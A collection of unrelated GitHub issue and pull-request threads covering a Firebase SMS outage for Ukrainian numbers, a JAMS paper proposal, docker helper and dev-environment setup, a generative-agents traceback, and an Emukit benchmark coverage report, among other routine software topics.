Firebase is not responsible for SMS delivery. We rely on carriers to deliver SMS in the different regions where Firebase provides the Phone Authentication service.
We apologize that we do not have better news or options for you at this time. We understand that this is an important feature for your application, so it would be good to consider other options such as other auth methods or providers. We would be happy to help you implement a different Firebase auth method.
Kind regards.
Oscar.

Here is what support answered, I was referring to Vodafone as example. Few days ago only Life was working fine, right now none of the operator works

@rizafran what about changing the error message? it's really misleading. I spent a lot of time to find issues on my side. and I'm sure not only me.

I'll reopen to improve the error message from the SDK.

@rizafran I don't understand why test numbers are not working. There is no need of SMS delivery in this case.

True, same story...

@rizafran I don't understand why test numbers are not working. There is no need of SMS delivery in this case.

Yes, I wrote about this earlier. The test "+380" numbers worked for a while when the real "+380" numbers did not. It seems that most likely the developers simply decided to block all numbers starting with “+380”. Please return the test numbers back to working order. It is not SMS issue.

The same issue started for two days ago, only for Ukrainian phone numbers.
Looks like Firebase don't support Ukraine numbers any more.
Its very sad, but we still waiting official answer from Firebase support

Bumping this issue - many Ukrainian services are influenced by this! The block on test numbers is not helping.

the same problem with Ukrainian numbers. To reproduce try it with the following phone number pattern: +38050 XXX-XX-XX

I did my best to explain the issue to tech support, but it seems they just decided to drop support for Ukraine region. Here's my conversation with them.

Just heard this from a product manager:
"Hi folks, we are fully unblocking all carriers in Ukraine, so all support cases with "error: 39" in Ukraine should resolve in the next 4-5 hours. If customers still experience any issues, please let me know."

Closing now. Please comment or open another issue if the problem recurs.


Publication of jams2

@justinsalamon has repeatedly kicked around the idea of writing a paper to document the changes in jams over the last year.  I think this is probably a good idea, if only for publicity.
As for venues, the next obvious one is ismir2015 late breaking session (deadline: 2015-10-26).  This would be an extended abstract (2 pages), which clearly doesn't suffice to document all the restructuring.
It would be nice to have a longer document as well, either a tech report or an arxiv preprint, which the late breaking session abstract can refer back to for more details.  This means we'd have to crank out the paper by october, which should be plenty doable.
Who's in?

this might come as a surprise, but... :+1:
Do I hear a "pump up the jams" comeback?!

+1 for doing this as an ismir late breaking paper. I think as @bmcfee said that the point of the paper is for publicity, and all it needs is a summary pointing back to a much longer more detailed document on the web somewhere.
ALSO YES TO PUMP UP THE JAMS

(btw, I think this goes without saying, but this is clearly a @bmcfee first author yaaa?)

YES TO ALL :)))
On Fri, Jun 26, 2015 at 11:17 AM, Rachel Bittner<EMAIL_ADDRESS>wrote:

(btw, I think this goes without saying, but this is clearly a @bmcfee
https://github.com/bmcfee first author yaaa?)
—
Reply to this email directly or view it on GitHub
https://github.com/marl/jams/issues/45#issuecomment-115725556.

+∞
On Fri, Jun 26, 2015 at 11:18 AM, Oriol Nieto<EMAIL_ADDRESS>wrote:

YES TO ALL :)))
On Fri, Jun 26, 2015 at 11:17 AM, Rachel Bittner<EMAIL_ADDRESS>
wrote:

(btw, I think this goes without saying, but this is clearly a @bmcfee
https://github.com/bmcfee first author yaaa?)
—
Reply to this email directly or view it on GitHub
https://github.com/marl/jams/issues/45#issuecomment-115725556.

—
Reply to this email directly or view it on GitHub
https://github.com/marl/jams/issues/45#issuecomment-115725916.

@bmcfee looks like it's all good to go chief. Latex / git / yada yada when you have time yada yada

Created https://github.com/marl/jams-paper for these guys.  Will probably not get around to populating it until august.
Closing out this issue now.


Added docker command to helper script

This way currently unsupported docker commands can be accessed again through the helper script

Can you provide usage examples?

Cctually it can be quite handy when we want to run some custom command. For example if I want to rebuild just one specific module, I can't do ./helper.sh --build oms-statutory, it'll rebuild the whole system. Flso there is no docker-compose ps like command.
We can add such commands later, but generally it'd be nice to have the ability to run something custom (though we should not abuse it and stick to the non-custom ones).

Exactly, other commands which are currently unsupported are scale, port, run and some other which I don't think we need atm. It's not for everyday's usage, but in a case of emergency when we need some custom command, it would be quite handy to use it

Actually one of the usecases I needed. I needed to drop postgresql container for statutory as I've messed it up and there was no way to do it other than copying that big command and adding what I needed to add (rm -v postgres-oms-statutory).

Rebased here: https://github.com/AEGEE/oms-docker/pull/95, so superseded.


[ADLS]Make get_root_directory_client private

Can one of the admins verify this patch?

Do you have any public constants for root dir, just want to make sure those get made private if they exist


Error when doing "run 3"

Hi,
first of all, great work, and thanks for sharing !
i get an error though when i run this, here is what i do:
[...]
E:\AI\gpt4all_generative_agents>gpt4all_generative_agents\Scripts\activate
cd environment/frontend_server
python manage.py runserver
http://<IP_ADDRESS>:8000/
cd reverie/backend_server
python reverie.py
-> name: base_the_ville_isabella_maria_klaus
-> simulationname: test-simulation
-> run 3
[...]
and this is the error:
Name: John Doe
Age: 32
Backstory: John is a software engineer who works from home and enjoys playing video games in his free time. He is always looking for ways to improve himself and learn new things.
Personality: intelligent, analytical, curious
Location: John lives in an apartment with his cat named Whiskers. His current project is developing a virtual reality game that simulates a space exploration experience.
Currently: John plans on playing video games after work and spending time with Whiskers. He also wants to start learning programming languages again.
Daily plan requirement: John works from home, so he doesn't have any specific daily tasks or routines. However, he tries to be productive by setting aside time for work and personal projects.
-==- -==- -==-
Traceback (most recent call last):
File "E:\AI\gpt4all_generative_agents\reverie\backend_server\reverie.py", line 468, in open_server
rs.start_server(int_count)
File "E:\AI\gpt4all_generative_agents\reverie\backend_server\reverie.py", line 379, in start_server
next_tile, pronunciatio, description = persona.move(
File "E:\AI\gpt4all_generative_agents\reverie\backend_server\persona\persona.py", line 222, in move
plan = self.plan(maze, personas, new_day, retrieved)
File "E:\AI\gpt4all_generative_agents\reverie\backend_server\persona\persona.py", line 148, in plan
return plan(self, maze, personas, new_day, retrieved)
File "E:\AI\gpt4all_generative_agents\reverie\backend_server\persona\cognitive_modules\plan.py", line 959, in plan
_determine_action(persona, maze)
File "E:\AI\gpt4all_generative_agents\reverie\backend_server\persona\cognitive_modules\plan.py", line 579, in _determine_action
generate_task_decomp(persona, act_desp, act_dura))
File "E:\AI\gpt4all_generative_agents\reverie\backend_server\persona\cognitive_modules\plan.py", line 164, in generate_task_decomp
return run_gpt_prompt_task_decomp(persona, task, duration)[0]
File "E:\AI\gpt4all_generative_agents\reverie\backend_server\persona\prompt_template\run_gpt_prompt.py", line 439, in run_gpt_prompt_task_decomp
output = safe_generate_response(prompt, gpt_param, 5, get_fail_safe(),
File "E:\AI\gpt4all_generative_agents\reverie\backend_server\persona\prompt_template\gpt_structure.py", line 257, in safe_generate_response
return func_clean_up(curr_gpt_response, prompt=prompt)
File "E:\AI\gpt4all_generative_agents\reverie\backend_server\persona\prompt_template\run_gpt_prompt.py", line 376, in __func_clean_up
if task[-1] == ".":
IndexError: string index out of range
Error.
additionally it's computing reaaaally slow, even though i got a very fast computer (with a 4090 and a amd ryzen 9 7950x3d
help would be highly appreciated

"fin" throws an error, too:
Enter option: fin
Traceback (most recent call last):
File "E:\AI\gpt4all_generative_agents\reverie\backend_server\reverie.py", line 442, in open_server
self.save()
File "E:\AI\gpt4all_generative_agents\reverie\backend_server\reverie.py", line 187, in save
persona.save(save_folder)
File "E:\AI\gpt4all_generative_agents\reverie\backend_server\persona\persona.py", line 78, in save
self.scratch.save(f_scratch)
File "E:\AI\gpt4all_generative_agents\reverie\backend_server\persona\memory_structures\scratch.py", line 287, in save
.strftime("%B %d, %Y, %H:%M:%S"))
AttributeError: 'NoneType' object has no attribute 'strftime'
Error.


Tweak level 005-maze:

Add a smashable block above the final door at the right so that you
don't have to climb back up to reach it and can shortcut your way
there

I'm not sure the force push has worked, I'm still seeing the same content.

Oh yes, did it in a hurry before I went out; updated the message and didn't git add 🤦♂


Phone_Number_Tracker enhancement

Describe the bug
A clear and concise description of what the bug is.
To Reproduce
Steps to reproduce the behavior:

Go to '...'
Click on '....'
Scroll down to '....'
See error

Expected behavior
A clear and concise description of what you expected to happen.
Screenshots
If applicable, add screenshots to help explain your problem.
Desktop (please complete the following information):

OS: [e.g. iOS]
Browser [e.g. chrome, safari]
Version [e.g. 22]

Smartphone (please complete the following information):

Device: [e.g. iPhone6]
OS: [e.g. iOS8.1]
Browser [e.g. stock browser, safari]
Version [e.g. 22]

Additional context
Add any other context about the problem here.
Do I want to work on this:

[x]  Yes
[ ] No

Enhance phone_number_tracker script

Go Ahead @shraddha761


Feature Request: Allow Verbose Mode

Maybe when we first start running we display something like:
Running in terse output mode - hit "v" to enter verbose mode
In verbose mode we should show the gcloud commands we are running but not necessarily their output.

🤔 if it’s for our own debugging we may be able to use ctrl-d or something to catch the interrupt signal and allow verbose logging.
The library that prints spinner/progress won’t play nice with printing a line after itself while it’s spinning, also.
If it’s just the gcloud run deploy command you want to show, we show it at the end.

Was thinking this was more for people who want to learn the commands.  We could in verbose mode disable the spinner.

Even outside of verbose mode, I like the idea of teaching users about what's going on under the hood. Have you considered always show the run command? For example in a gray color.
The button is here for a wow effect, but one other goal should be to educate users about the "real"  way to deploy.

Yeah I'll take a look, maybe our spinner library allows deletion/reprinting of multi-line strings (via terminfo or something like that).
Otherwise I'll end up with something like:
INFO: Will run command:
    gcloud ... \
       ... \
       ...
[ / ] Deploying application bla bla


Setup dev. env. with docker

Working with my Mac I had a hard time trying to setup myself to begin the development of https://github.com/socram8888/tonyhax/issues/75
I followed the Development intructions at https://orca.pet/tonyhax/ as well as the Compiling instructions from https://github.com/Lameguy64/mkpsxiso#compiling.
I got an error with the gcc-10-mips-linux-gnu package not providing the mips-linux-gnu-gcc CLI which I fixed (and you should probably too in the aformentioned doc) with installing gcc-mips-linux-gnu instead.
Usage
Basically you clone the tonyhax repo. Then once inside the dir you have to build the docker image with,
docker build -t tonyhax-dev .

Now that you have the image, you can compile tonyhawx by booting a container,
docker run -v $(pwd):/tonyhawx -it tonyhax-dev

And then make,
cd tonyhawx/
make

The zip file will appear at the root of the host directory (outside the container).

IMO the better way is to just integrate cross tool-by directly to make any OS capable of building the tool chain.

I fixed the docs. Thanks for the tip.


Dashboard does not support multiple druid hosts

The dashboard currently does not support multiple druid hosts.

Any update on this? Most of the time we are going to have distributed setup, muiltiple hosts for data server, how can we capture all in the dashboard?

This is a smaller change at the dashboard level, which can be easily done. We will try to implement this ASAP.


Add benchmark notebook

Adds Bayesian optimization loops for random forest/Bayesian neural network and a notebook comparing GP to random forest. This would form the basis of how a benchmarking component would be implemented in Emukit.
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

Codecov Report

Merging #50 into develop will decrease coverage by 1.76%.
The diff coverage is 0%.

@@             Coverage Diff             @@
##           develop      #50      +/-   ##
===========================================
- Coverage    81.18%   79.42%   -1.77%
===========================================
  Files           62       64       +2
  Lines         1531     1565      +34
  Branches       154      160       +6
===========================================
  Hits          1243     1243
- Misses         253      287      +34
  Partials        35       35

Impacted Files
Coverage Δ

emukit/examples/enums.py
0% <0%> (ø)

emukit/examples/optimization_loops.py
0% <0%> (ø)

...examples/single_objective_bayesian_optimization.py
0% <0%> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update af1ec7d...12c28fb. Read the comment docs.